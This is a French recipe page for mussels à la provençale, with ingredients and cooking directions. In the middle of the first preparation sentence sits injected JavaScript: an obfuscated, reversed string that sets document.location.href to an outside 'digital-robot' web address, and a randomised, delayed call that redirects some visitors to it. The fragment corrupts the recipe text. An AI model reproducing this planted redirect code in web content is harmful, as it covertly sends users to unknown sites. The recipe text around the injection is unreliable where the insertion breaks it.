Moules à la provençale
2021-05-06- Thématique : Végétarien
- Niveau : Facile
Grattez et rincez les moules. Rincez, pelez, épépinez, hachez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates. Pelez, coupez l’ail en deux ôtez le germe écrasez l’ail.
Ingrédients
Grattez et rincez les moules. Rincez, pelez, épépinez, hachez les tomates. Pelez, coupez l'ail en deux ôtez le germe écrasez l’ail. Dans une cocotte avec l’huile d’olive faites rissoler les tomates, ajoutez l’ail, le bouquet garni et faire mijoter pendant 10 minutes tout en remuant. Ajoutez les moules, faites-les ouvrir sur feu vif. Déposez les moules dans un grand plat, faire réduire le jus d’un tiers environ sur feu vif. Rectifiez l’assaisonnement et servez les moules saupoudrez de basilic ciselé.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
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